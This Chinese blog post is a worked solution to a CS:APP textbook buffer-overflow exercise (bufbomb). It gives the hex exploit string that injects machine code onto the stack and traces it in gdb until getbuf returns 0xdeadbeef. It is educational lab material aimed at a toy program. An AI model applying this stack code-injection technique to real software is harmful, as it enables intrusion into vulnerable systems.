本博客(http://blog.csdn.net/livelylittlefish)贴出作者(三二一@小鱼)相关研究、学习内容所做的笔记,欢迎广大朋友指正!
《深入理解计算机系统》3.38题解——缓冲区溢出攻击实例(续2)
1. 问题描述
见http://blog.csdn.net/livelylittlefish/archive/2009/12/27/5087640.aspx
2. 目标分析与题解
见http://blog.csdn.net/livelylittlefish/archive/2009/12/27/5087676.aspx
3. 验证
3.1 验证输入的数据存放在buf开始的内存单元中
要验证我们的结论,可以再次调试代码。但要在getxs的汇编代码内部结尾处设置断点。我们先看看getxs即将退出的汇编代码。
00401050 <_getxs>: 401050: 55 push %ebp 401051: 89 e5 mov %esp,%ebp 401053: 83 ec 18 sub $0x18,%esp 401056: c7 45 f8 01 00 00 00 movl $0x1,0xfffffff8(%ebp) 40105d: c7 45 f4 00 00 00 00 movl $0x0,0xfffffff4(%ebp)
...
401119: 8b 45 f0 mov 0xfffffff0(%ebp),%eax 40111c: c6 00 00 movb $0x0,(%eax) 40111f: 8d 45 f0 lea 0xfffffff0(%ebp),%eax 401122: ff 00 incl (%eax) 401124: 8b 45 08 mov 0x8(%ebp),%eax 401127: c9 leave 401128: c3 ret |
在0x401128处设置断点并重新运行程序,输入我们确定的数据。
b8 ef be ad de 68 58 11 40 00 c3 00 00 00 00 00 00 00 00 00 00 00 00 00 b8 bf 22 00 80 bf 22 00 |
查看寄存器和buf=0x22bf80处的值,可以看出我们输入的数据已经保存在buf=0x22bf80开始的32个字节的内存单元中。
(gdb) b *0x401128 Breakpoint 1 at 0x401128 (gdb) r Starting program: /cygdrive/e/study/programming/linux/2009-12-18testBufBomb/bufbomb.exe Type Hex string:b8 ef be ad de 68 58 11 40 00 c3 00 00 00 00 00 00 00 00 00 00 00 00 00 b8 bf 22 00 80 bf 22 00
Breakpoint 1, 0x00401128 in getxs () (gdb) info registers eax 0x22bf80 2277248 ecx 0x8885 34949 edx 0x0 0 ebx 0x0 0 esp 0x22bf6c 0x22bf6c ebp 0x22bf98 0x22bf98 esi 0x611021a0 1628447136 edi 0x4014d0 4199632 eip 0x401128 0x401128 eflags 0x202 514 cs 0x1b 27 ss 0x23 35 ds 0x23 35 es 0x23 35 fs 0x3b 59 gs 0x0 0 (gdb) x/16w 0x22bf60 0x22bf60: 0x00000001 0x0000000a 0x0022bf98 0x0040113a 0x22bf70: 0x0022bf80 0x004014d0 0x0022bf98 0x610f0668 0x22bf80: 0xadbeefb8 0x115868de 0x00c30040 0x00000000 0x22bf90: 0x00000000 0x00000000 0x0022bfb8 0x0022bf80 |
以上加下划线并粗体显示的部分即为我们输入的数据。
也可以使用如下命令验证存放于buf=0x22bf80处的数据。
(gdb) p /x *0x22bf80@8 $1 = {0xadbeefb8, 0x115868de, 0xc30040, 0x0, 0x0, 0x0, 0x22bfb8, 0x22bf80} (gdb) p /a *0x22bf80@8 $2 = {0xadbeefb8, 0x115868de, 0xc30040, 0x0, 0x0, 0x0, 0x22bfb8, 0x22bf80} |
p /x *addr@len: 表示显示地址为addr开始的len个十六进制(x)的数据。
因leave(为返回准备栈)相当于以下两个操作,故此时%esp=0x22bf6c,%ebp=0x22bf98,而getxs函数的栈帧已经被销毁。
mov %ebp,%esp ;set stack pointer to the beginning of frame pop %ebp ; restore saved %ebp and set stack ptr to the end of caller's frame |
从buf起始地址0x22bf80开始,以单字节显示32个字节的值,可以更清晰地看出,这些值就是我们输入的数据。其中,%ebp'存放在0x22bf98单元,buf=0x22bf80存放在0x22bf9c单元,与上面的栈帧图也一致。
(gdb) x/32b 0x22bf80 0x22bf80: 0xb8 0xef 0xbe 0xad 0xde 0x68 0x58 0x11 0x22bf88: 0x40 0x00 0xc3 0x00 0x00 0x00 0x00 0x00 0x22bf90: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x22bf98: 0xb8 0xbf 0x22 0x00 0x80 0xbf 0x22 0x00 |
另外,使用如下命令,也可以验证我们的输入的数据的确是我们要执行的机器码。
(gdb) x/3i 0x22bf80 0x22bf80: mov $0xdeadbeef,%eax 0x22bf85: push $0x401158 0x22bf8a: ret |
x /ni addr:查看addr开始的n条指令。
x是examine,表示查看内存,n表示个数,i表示以指令格式显示。
3.2 验证程序正确返回
3.2.1 程序即将要执行的代码
我们先看看即将要执行的代码,如下。程序即将要从getxs函数中返回到0x004011da处继续执行。
00401129 <_getbuf>: 401129: 55 push %ebp 40112a: 89 e5 mov %esp,%ebp 40112c: 83 ec 28 sub $0x28,%esp 40112f: 8d 45 e8 lea 0xffffffe8(%ebp),%eax 401132: 89 04 24 mov %eax,(%esp) 401135: e8 16 ff ff ff call 401050 <_getxs> 40113a: b8 01 00 00 00 mov $0x1,%eax 40113f: c9 leave 401140: c3 ret
00401141 <_test>: 401141: 55 push %ebp 401142: 89 e5 mov %esp,%ebp 401144: 83 ec 18 sub $0x18,%esp 401147: c7 04 24 00 20 40 00 movl $0x402000,(%esp) 40114e: e8 3d 01 00 00 call 401290 <_printf> 401153: e8 d1 ff ff ff call 401129 <_getbuf> 401158: 89 45 fc mov %eax,0xfffffffc(%ebp) 40115b: 8b 45 fc mov 0xfffffffc(%ebp),%eax 40115e: 89 44 24 04 mov %eax,0x4(%esp) 401162: c7 04 24 11 20 40 00 movl $0x402011,(%esp) 401169: e8 22 01 00 00 call 401290 <_printf> 40116e: c9 leave 40116f: c3 ret |
3.2.2 stepi继续执行0x401128处的代码
接着继续stepi执行0x401128处的ret指令,并一直stepi知道从getbuf函数中返回,执行过程如下。
(gdb) stepi 0x0040113a in getbuf () (gdb) info registers eax 0x22bf80 2277248 ecx 0x8885 34949 edx 0x0 0 ebx 0x0 0 esp 0x22bf70 0x22bf70 ebp 0x22bf98 0x22bf98 esi 0x611021a0 1628447136 edi 0x4014d0 4199632 eip 0x40113a 0x40113a eflags 0x202 514 cs 0x1b 27 ss 0x23 35 ds 0x23 35 es 0x23 35 fs 0x3b 59 gs 0x0 0 (gdb) x/16w 0x22bf60 0x22bf60: 0x00000001 0x0000000a 0x0022bf98 0x0040113a 0x22bf70: 0x0022bf80 0x004014d0 0x0022bf98 0x610f0668 0x22bf80: 0xadbeefb8 0x115868de 0x00c30040 0x00000000 0x22bf90: 0x00000000 0x00000000 0x0022bfb8 0x0022bf80 (gdb) stepi 0x0040113f in getbuf () (gdb) info registers eax 0x1 1 ecx 0x8885 34949 edx 0x0 0 ebx 0x0 0 esp 0x22bf70 0x22bf70 ebp 0x22bf98 0x22bf98 esi 0x611021a0 1628447136 edi 0x4014d0 4199632 eip 0x40113f 0x40113f eflags 0x202 514 cs 0x1b 27 ss 0x23 35 ds 0x23 35 es 0x23 35 fs 0x3b 59 gs 0x0 0 (gdb) x/16w 0x22bf60 0x22bf60: 0x00000001 0x0000000a 0x0022bf98 0x0040113a 0x22bf70: 0x0022bf80 0x004014d0 0x0022bf98 0x610f0668 0x22bf80: 0xadbeefb8 0x115868de 0x00c30040 0x00000000 0x22bf90: 0x00000000 0x00000000 0x0022bfb8 0x0022bf80 (gdb) info registers esp esp 0x22bf70 0x22bf70 (gdb) stepi 0x00401140 in getbuf () (gdb) info registers eax 0x1 1 ecx 0x8885 34949 edx 0x0 0 ebx 0x0 0 esp 0x22bf9c 0x22bf9c ebp 0x22bfb8 0x22bfb8 esi 0x611021a0 1628447136 edi 0x4014d0 4199632 eip 0x401140 0x401140 eflags 0x202 514 cs 0x1b 27 ss 0x23 35 ds 0x23 35 es 0x23 35 fs 0x3b 59 gs 0x0 0 (gdb) x/16w 0x22bf60 0x22bf60: 0x00000001 0x0000000a 0x0022bf98 0x0040113a 0x22bf70: 0x0022bf80 0x004014d0 0x0022bf98 0x610f0668 0x22bf80: 0xadbeefb8 0x115868de 0x00c30040 0x00000000 0x22bf90: 0x00000000 0x00000000 0x0022bfb8 0x0022bf80 |
从中我们发现,程序一直很正常地执行,0x22bf9c单元的值一直是我们输入的0x0022bf80,即buf缓冲区的起始地址;%
ebp也没有变化,其值一直都是gutbuf栈帧的基地址,只是%esp在变化,指示下一条要执行的指令的地址。此时,%esp指示0x22bf9c单元,%eip指向0x401140处的返回指令。
3.2.3 程序跳转到buf处开始执行我们输入的机器码(指令)
接下来,我们再继续stepi执行程序,因ret指令的任务是弹出返回地址并跳转到该地址继续执行。因此,从以下执行过程我们可以看出,执行0x401140处的ret指令后,%eip指向0x22bf80,开始执行我们输入的3条指令。
(gdb) stepi 0x0022bf80 in ?? () (gdb) info registers eax 0x1 1 ecx 0x8885 34949 edx 0x0 0 ebx 0x0 0 esp 0x22bfa0 0x22bfa0 ebp 0x22bfb8 0x22bfb8 esi 0x611021a0 1628447136 edi 0x4014d0 4199632 eip 0x22bf80 0x22bf80 eflags 0x202 514 cs 0x1b 27 ss 0x23 35 ds 0x23 35 es 0x23 35 fs 0x3b 59 gs 0x0 0 (gdb) x/16w 0x22bf70 0x22bf70: 0x0022bf80 0x004014d0 0x0022bf98 0x610f0668 0x22bf80: 0xadbeefb8 0x115868de 0x00c30040 0x00000000 0x22bf90: 0x00000000 0x00000000 0x0022bfb8 0x0022bf80 0x22bfa0: 0x00402000 0x0022c388 0x0022c35c 0x00000026 |
接下来执行0x22bf80处的指令,可以看到%eax的变化。
(gdb) x/1i 0x22bf80 0x22bf80: mov $0xdeadbeef,%eax (gdb) stepi 0x0022bf85 in ?? () (gdb) info registers eax 0xdeadbeef -559038737 ecx 0x8885 34949 edx 0x0 0 ebx 0x0 0 esp 0x22bfa0 0x22bfa0 ebp 0x22bfb8 0x22bfb8 esi 0x611021a0 1628447136 edi 0x4014d0 4199632 eip 0x22bf85 0x22bf85 eflags 0x202 514 cs 0x1b 27 ss 0x23 35 ds 0x23 35 es 0x23 35 fs 0x3b 59 gs 0x0 0 (gdb) x/16w 0x22bf70 0x22bf70: 0x0022bf80 0x004014d0 0x0022bf98 0x610f0668 0x22bf80: 0xadbeefb8 0x115868de 0x00c30040 0x00000000 0x22bf90: 0x00000000 0x00000000 0x0022bfb8 0x0022bf80 0x22bfa0: 0x00402000 0x0022c388 0x0022c35c 0x00000026 |
接下来执行0x22bf85处的指令,可以看到%esp由0x22bfa0变为0x22bf9c,且tes调用getbuf的返回地址0x00401158被压入栈的0x22bf9c单元中。
(gdb) x/1i 0x22bf85 0x22bf85: push $0x401158 (gdb) stepi 0x0022bf8a in ?? () (gdb) info registers eax 0xdeadbeef -559038737 ecx 0x8885 34949 edx 0x0 0 ebx 0x0 0 esp 0x22bf9c 0x22bf9c ebp 0x22bfb8 0x22bfb8 esi 0x611021a0 1628447136 edi 0x4014d0 4199632 eip 0x22bf8a 0x22bf8a eflags 0x202 514 cs 0x1b 27 ss 0x23 35 ds 0x23 35 es 0x23 35 fs 0x3b 59 gs 0x0 0 (gdb) x/16w 0x22bf70 0x22bf70: 0x0022bf80 0x004014d0 0x0022bf98 0x610f0668 0x22bf80: 0xadbeefb8 0x115868de 0x00c30040 0x00000000 0x22bf90: 0x00000000 0x00000000 0x0022bfb8 0x00401158 0x22bfa0: 0x00402000 0x0022c388 0x0022c35c 0x00000026 |
接下来执行0x22bf8a处的ret指令,此时%esp=0x22bf9c,将弹出0x22bf9c处的0x00401158并跳转到该处继续执行。
(gdb) x/1i 0x22bf8a 0x22bf8a: ret (gdb) stepi 0x00401158 in test () (gdb) info registers eax 0xdeadbeef -559038737 ecx 0x8885 34949 edx 0x0 0 ebx 0x0 0 esp 0x22bfa0 0x22bfa0 ebp 0x22bfb8 0x22bfb8 esi 0x611021a0 1628447136 edi 0x4014d0 4199632 eip 0x401158 0x401158 eflags 0x202 514 cs 0x1b 27 ss 0x23 35 ds 0x23 35 es 0x23 35 fs 0x3b 59 gs 0x0 0 (gdb) x/16w 0x22bf70 0x22bf70: 0x0022bf80 0x004014d0 0x0022bf98 0x610f0668 0x22bf80: 0xadbeefb8 0x115868de 0x00c30040 0x00000000 0x22bf90: 0x00000000 0x00000000 0x0022bfb8 0x00401158 0x22bfa0: 0x00402000 0x0022c388 0x0022c35c 0x00000026 |
至此,我们可以看到程序已经从我们输入的指令中正确地返回到test函数中。该项验证完毕。
3.3 验证执行结果
接下来我们用continue命令执行程序,如下,看到程序正确地返回0xdeadbeef。
(gdb) c Continuing. getbuf returned 0xdeadbeef
Program exited normally. (gdb) |
至此,我们所有的验证均已完成,再一次确认我们当初的分析。